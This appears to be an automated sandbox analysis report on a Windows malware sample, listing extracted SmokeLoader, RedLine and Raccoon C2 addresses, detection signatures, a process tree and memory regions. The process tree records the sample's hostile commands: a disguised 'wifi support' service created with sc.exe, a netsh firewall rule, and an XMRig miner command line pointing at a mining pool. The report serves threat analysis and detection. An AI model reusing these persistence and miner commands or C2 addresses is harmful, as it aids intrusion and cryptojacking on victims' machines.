Analysis

  • max time kernel
    41s
  • max time network
    182s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    02/10/2021, 17:51

General

  • Target
    a6996a62d5cba00ab36058f315c2fb44.exe
  • Size 259KB
  • Sample211002-we54eaefhj
  • SHA256 0091825486c2d7cfdee49e98c6795be8d32a7f50a68e0d33542b1f047fb7ed7a
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • smokeloader

Version
  • 2020

C2
  • http://fiskahlilian16.top/

  • http://paishancho17.top/

  • http://ydiannetter18.top/

  • http://azarehanelle19.top/

  • http://quericeriant20.top/

rc4.i32
rc4.i32

Extracted

Family
  • redline

Botnet
  • new

C2
  • 91.245.253.52:38439

Extracted

Family
  • raccoon

Botnet
  • 5ff0ccb2bc00dc52d1ad09949e9c7663bc9ca4d4

Attributes
  • url4cnc

    https://t.me/agrybirdsgamerept

rc4.plain
rc4.plain

Signatures

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 3 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 12 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Checks BIOS information in registry 2 TTPs 8 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 4 IoCs
  • Themida packer 10 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Checks whether UAC is enabled 1 TTPs 4 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 19 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a6996a62d5cba00ab36058f315c2fb44.exe
    "C:\Users\Admin\AppData\Local\Temp\a6996a62d5cba00ab36058f315c2fb44.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1120
    • C:\Users\Admin\AppData\Local\Temp\a6996a62d5cba00ab36058f315c2fb44.exe
      "C:\Users\Admin\AppData\Local\Temp\a6996a62d5cba00ab36058f315c2fb44.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:1268
  • C:\Users\Admin\AppData\Local\Temp\421E.exe
    C:\Users\Admin\AppData\Local\Temp\421E.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1172
    • C:\Users\Admin\AppData\Local\Temp\421E.exe
      C:\Users\Admin\AppData\Local\Temp\421E.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:1752
  • C:\Users\Admin\AppData\Local\Temp\4347.exe
    C:\Users\Admin\AppData\Local\Temp\4347.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1384
    • C:\Users\Admin\AppData\Local\Temp\4347.exe
      C:\Users\Admin\AppData\Local\Temp\4347.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:1660
  • C:\Users\Admin\AppData\Local\Temp\4AE6.exe
    C:\Users\Admin\AppData\Local\Temp\4AE6.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:1952
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\xglzrjvv\
      2⤵
        PID:788
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ayiggwfv.exe" C:\Windows\SysWOW64\xglzrjvv\
        2⤵
          PID:1044
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create xglzrjvv binPath= "C:\Windows\SysWOW64\xglzrjvv\ayiggwfv.exe /d\"C:\Users\Admin\AppData\Local\Temp\4AE6.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1832
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description xglzrjvv "wifi internet conection"
            2⤵
              PID:1848
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start xglzrjvv
              2⤵
                PID:1748
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:592
              • C:\Users\Admin\AppData\Local\Temp\4DC4.exe
                C:\Users\Admin\AppData\Local\Temp\4DC4.exe
                1⤵
                • Executes dropped EXE
                • Checks BIOS information in registry
                • Checks whether UAC is enabled
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of AdjustPrivilegeToken
                PID:1532
              • C:\Users\Admin\AppData\Local\Temp\560F.exe
                C:\Users\Admin\AppData\Local\Temp\560F.exe
                1⤵
                • Executes dropped EXE
                • Checks BIOS information in registry
                • Checks whether UAC is enabled
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of AdjustPrivilegeToken
                PID:548
              • C:\Users\Admin\AppData\Local\Temp\5DCD.exe
                C:\Users\Admin\AppData\Local\Temp\5DCD.exe
                1⤵
                • Executes dropped EXE
                • Checks BIOS information in registry
                • Checks whether UAC is enabled
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of AdjustPrivilegeToken
                PID:1112
              • C:\Windows\SysWOW64\xglzrjvv\ayiggwfv.exe
                C:\Windows\SysWOW64\xglzrjvv\ayiggwfv.exe /d"C:\Users\Admin\AppData\Local\Temp\4AE6.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                PID:1732
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                    PID:1620
                    • C:\Windows\SysWOW64\svchost.exe
                      svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                      3⤵
                        PID:2244
                  • C:\Users\Admin\AppData\Local\Temp\6473.exe
                    C:\Users\Admin\AppData\Local\Temp\6473.exe
                    1⤵
                    • Executes dropped EXE
                    • Checks BIOS information in registry
                    • Checks whether UAC is enabled
                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                    PID:1676
                  • C:\Users\Admin\AppData\Local\Temp\6FF8.exe
                    C:\Users\Admin\AppData\Local\Temp\6FF8.exe
                    1⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1800
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-NetConnection -TraceRoute youtube.com
                      2⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1952
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-NetConnection -TraceRoute youtube.com
                      2⤵
                        PID:2412
                      • C:\Users\Admin\AppData\Local\Temp\6FF8.exe
                        C:\Users\Admin\AppData\Local\Temp\6FF8.exe
                        2⤵
                          PID:2888
                      • C:\Users\Admin\AppData\Local\Temp\797B.exe
                        C:\Users\Admin\AppData\Local\Temp\797B.exe
                        1⤵
                        • Executes dropped EXE
                        PID:1668
                      • C:\Users\Admin\AppData\Local\Temp\8A6C.exe
                        C:\Users\Admin\AppData\Local\Temp\8A6C.exe
                        1⤵
                          PID:592

                        Network

                              MITRE ATT&CK Enterprise v6

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              memory/548-110-0x0000000002D50000-0x0000000002D51000-memory.dmp

                              memory/548-107-0x0000000000C80000-0x0000000000C81000-memory.dmp

                              memory/592-159-0x0000000000400000-0x00000000008B0000-memory.dmp

                              memory/592-158-0x00000000008B0000-0x0000000000940000-memory.dmp

                              memory/1112-122-0x0000000005590000-0x0000000005591000-memory.dmp

                              memory/1112-119-0x0000000000DD0000-0x0000000000DD1000-memory.dmp

                              memory/1120-63-0x0000000000020000-0x0000000000029000-memory.dmp

                              memory/1212-65-0x0000000003BA0000-0x0000000003BB0000-memory.dmp

                              memory/1212-200-0x000007FEEDA90000-0x000007FEEDBD3000-memory.dmp

                              memory/1212-64-0x0000000003AD0000-0x0000000003AE5000-memory.dmp

                              memory/1212-116-0x0000000004500000-0x0000000004515000-memory.dmp

                              memory/1212-201-0x000007FEC51A0000-0x000007FEC51AA000-memory.dmp

                              memory/1268-60-0x0000000000400000-0x0000000000409000-memory.dmp

                              memory/1268-62-0x0000000074D91000-0x0000000074D93000-memory.dmp

                              memory/1384-71-0x0000000000A10000-0x0000000000A11000-memory.dmp

                              memory/1384-81-0x0000000004800000-0x0000000004801000-memory.dmp

                              memory/1532-87-0x00000000001C0000-0x00000000001C1000-memory.dmp

                              memory/1532-99-0x0000000005400000-0x0000000005401000-memory.dmp

                              memory/1620-131-0x00000000000C0000-0x00000000000D5000-memory.dmp

                              memory/1660-109-0x00000000008E0000-0x00000000008E1000-memory.dmp

                              memory/1660-100-0x0000000000400000-0x0000000000422000-memory.dmp

                              memory/1660-104-0x0000000000400000-0x0000000000422000-memory.dmp

                              memory/1668-183-0x00000000002A0000-0x00000000002A1000-memory.dmp

                              memory/1668-185-0x0000000005020000-0x0000000005021000-memory.dmp

                              memory/1676-130-0x0000000002E80000-0x0000000002E81000-memory.dmp

                              memory/1676-127-0x0000000000850000-0x0000000000851000-memory.dmp

                              memory/1732-138-0x0000000000400000-0x0000000000870000-memory.dmp

                              memory/1800-144-0x000000001B740000-0x000000001B742000-memory.dmp

                              memory/1800-187-0x000000001B920000-0x000000001B996000-memory.dmp

                              memory/1800-186-0x000000001D590000-0x000000001D788000-memory.dmp

                              memory/1800-141-0x0000000000180000-0x0000000000181000-memory.dmp

                              memory/1952-150-0x0000000002460000-0x0000000002461000-memory.dmp

                              memory/1952-91-0x0000000000020000-0x0000000000033000-memory.dmp

                              memory/1952-160-0x0000000002730000-0x0000000002731000-memory.dmp

                              memory/1952-163-0x000000001A970000-0x000000001A971000-memory.dmp

                              memory/1952-92-0x0000000000400000-0x0000000000870000-memory.dmp

                              memory/1952-146-0x0000000002380000-0x0000000002381000-memory.dmp

                              memory/1952-145-0x000007FEFB681000-0x000007FEFB683000-memory.dmp

                              memory/1952-152-0x000000001ACF4000-0x000000001ACF6000-memory.dmp

                              memory/1952-151-0x000000001ACF0000-0x000000001ACF2000-memory.dmp

                              memory/1952-154-0x00000000023C0000-0x00000000023C1000-memory.dmp

                              memory/1952-147-0x000000001AD70000-0x000000001AD71000-memory.dmp

                              memory/2244-167-0x0000000000230000-0x0000000000321000-memory.dmp

                              memory/2412-179-0x000000001AAF4000-0x000000001AAF6000-memory.dmp

                              memory/2412-178-0x000000001AAF0000-0x000000001AAF2000-memory.dmp

                              memory/2888-189-0x0000000140000000-0x000000014006E000-memory.dmp

                              memory/2888-194-0x000000001AF50000-0x000000001AFD5000-memory.dmp

                              memory/2888-195-0x000000001BFC0000-0x000000001BFC2000-memory.dmp

                              memory/2888-196-0x0000000000990000-0x00000000009DE000-memory.dmp

                              memory/2888-197-0x0000000000170000-0x0000000000175000-memory.dmp

                              memory/2888-198-0x000000001B840000-0x000000001B88F000-memory.dmp